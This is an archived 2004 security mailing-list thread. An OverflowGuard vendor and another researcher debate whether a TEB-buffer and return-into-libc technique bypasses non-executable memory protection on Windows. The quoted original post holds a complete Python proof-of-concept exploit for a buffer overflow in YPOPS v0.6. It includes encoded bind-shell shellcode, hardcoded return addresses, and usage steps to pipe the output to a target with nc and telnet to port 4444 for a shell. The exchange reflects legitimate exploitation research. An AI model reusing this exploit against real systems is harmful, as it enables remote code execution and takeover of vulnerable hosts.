3APA3A,
The technique you just mentioned is not the one outlined in the first post.
The technique used in the first post relies on writeable memory to execute a
shellcode that was copied into the TEB via lstrcpy. OverflowGuard protects
against the shellcodeless exploit method you mentioned when protection
against 'return-to-libc exploits' is enabled. To perform shellcodeless
exploits you need to know the address of the buffer which contains the
command string, however, the address of the overflowed buffer is usually not
known when exploiting a windows service (the same is true for the lstrcpy
method in the first post). Of course the command string could be placed into
a different buffer with a known address but the attack is still prevented by
OverflowGuard if 'protect against return-to-libc exploits' is enabled. To
put it simply, the type of exploit you just mentioned is known to the
OverflowGuard authors and measures have been taken to stop it.
-Paul Webster
Data Security Software Inc.
OverflowGuard 1.4 -- http://www.datasecuritysoftware.com
----- Original Message -----
From: "3APA3A" <3APA3A_at_SECURITY.NNOV.RU>
To: "Paul Webster" <ptwebster_at_datasecuritysoftware.com>
Cc: <vuln-dev_at_securityfocus.com>; "varun uppal" <varunuppal_at_linuxmail.org>
Sent: Saturday, November 13, 2004 3:33 AM
Subject: Re[2]: TEB buffer+Return Into LIBC based string copy exploitation
Dear Paul Webster,
Then using return-into-libc technique, there is no need to place
executable code in writable memory, because there is no shellcode at
all.
Instead, stack is composed in the way to return (return pointer is saved
on stack with functions argument, as you may be know) into one of
standard functions. Then 1st standard function returns, it returns into
another standard function because it's address and arguments are also on
stack. Stack looks like Sandwich in this case with preconfigured return
addresses and arguments. This way you can fully control execution flow
without any executable code using onle the code of standard functions
that are already in executable memory. Of cause, it little bit hard (but
yet theoretically possible) to create something with loops and
conditions, but it's not required for simple shell binding exploit.
It's very strange, that "OverflowGuard" creators are not aware about
this technique, introduced by Solar Designer many years ago...
--Thursday, November 11, 2004, 9:28:24 PM, you wrote to
vuln-dev_at_securityfocus.com:
PW> Contrary to the authors claim this method does not defeat protections
like
PW> OverflowGuard. OverflowGuard makes all writeable memory non-executable
in a
PW> protected process. Therefore, since the TEB is writeable memory this
method
PW> will fail when used against a OverflowGuard protected process. The
PW> execution of the TEB will be detected and the process will be terminated
PW> because the TEB is writeable memory. OverflowGuard does not protect the
PW> program YPOPS by default, therefore, most likely the author's test
wasn't
PW> performed against a YPOPS process protected by OverflowGuard which is
why he
PW> believes his exploit works against OverflowGuard. If he took the time
to
PW> make sure OverflowGuard was protecting YPOPS he surely would have seen
that
PW> this method does not defeat OverflowGuard.
PW> -Paul Webster
PW> Data Security Software Inc.
PW> OverflowGuard 1.4 -- http://www.datasecuritysoftware.com
PW> ----- Original Message -----
PW> From: "varun uppal" <varunuppal_at_linuxmail.org>
PW> To: <vuln-dev_at_securityfocus.com>
PW> Sent: Wednesday, November 10, 2004 6:38 AM
PW> Subject: TEB buffer+Return Into LIBC based string copy exploitation
PW> Hi,
PW> I have put together some info on using the TEB (Thread Execution Block)
PW> Buffer and libc for exploiting NON-EXEC STACK Win32 environments. I
havent
PW> come across any major public exploit using this method nor much of
PW> information on the same. The shell coders handbook was of great help
PW> though.Thought it would be useful for someone interested in the same.
PW> EXPLOIT:
PW> #!/usr/bin/env python
PW> """
PW> Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai
PW> Coded as a PoC for defeating NoN-Exec stacks and stack protections
PW> like overflow guard etc.
PW> This exploit utilizes the 520 byte buffer in the TEB (i.e is used for
PW> ANSI to Unicode String operations). The EIP is overwritten with the
address
PW> of lstrcpyA accompanied by the return address, the source and
destination
PW> buffer
PW> addresses.
PW> On successfull EIP overwrite the lstrcpyA copies the attacker supplied
PW> payload to
PW> the address in the TEB, following which the executions proceeds from
there
PW> (since it
PW> is the return addr that we supplied). Came across this usefull concept
in
PW> "The shell coders
PW> handbook". Can be used for 1) Bypassing stack protections.
PW> 2) When none of the regs (ecx,ebx, eax, esp etc)
PW> point to our payload.
PW> BUFFER LAYOUT
PW> |payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB
|
PW> addr of our payload |
PW> ret addr for destination for Addr of our
PW> execution Payload Payload
PW> Tested on Win2K Adv Server with no patches and overflowguard. This is
PW> heavily dependent on the addresses which
PW> must be modified according to the versions.
PW> 0x77E87E39 --> Address of lstrcpyA from kernel32.dll
PW> 0x7ffDE1BC --> Address in TEB buffer to which payload will be copied and
PW> execution
PW> commences
PW> 0x00E6FAB8 --> Address of Payload on stack
PW> Shellcode from Sergio alvarez's paper on win32 exploitatiion (gr8
paper).
PW> Coded by Varun Uppal (varunuppal_at_linuxmail.org)
PW> greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8
work
PW> USAGE:
PW> python pop_exp2.py | nc "addr of target host" "target port"
PW> Telnet "addr of target host" 4444 for cmd prompt
PW> """
PW> import struct
PW> exp =
PW> "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
PW> exp +=
PW> "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
PW> exp +=
PW> "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
PW> exp +=
PW> "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
PW> exp +=
PW> "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
PW> exp +=
PW> "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
PW> exp +=
PW> "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
PW> exp +=
PW> "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
PW> exp +=
PW> "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
PW> exp +=
PW> "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
PW> exp +=
PW> "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
PW> exp +=
PW> "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
PW> exp +=
PW> "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
PW> exp +=
PW> "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
PW> exp +=
PW> "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
PW> exp +=
PW> "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
PW> exp +=
PW> "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
PW> exp +=
PW> "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
PW> exp +=
PW> "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
PW> exp +=
PW> "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
PW> exp +=
PW> "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
PW> exp +=
PW> "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
PW> exp +=
PW> "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
PW> exp +=
PW> "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
PW> exp +=
PW> "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
PW> print '\x90'*10+exp+'\x90'*96+ struct.pack('<L',
PW> 0x77e87e39)+struct.pack('<L', 0x7ffde1bc)+struct.pack('<L',
PW> 0x7ffde1bc)+'\xb8'+'\xfa'+'\xe6'+'\x00'
--
~/ZARAZA
Впрочем, важнее всего - алгоритм! (Лем)
Received on Nov 15 2004
Intro
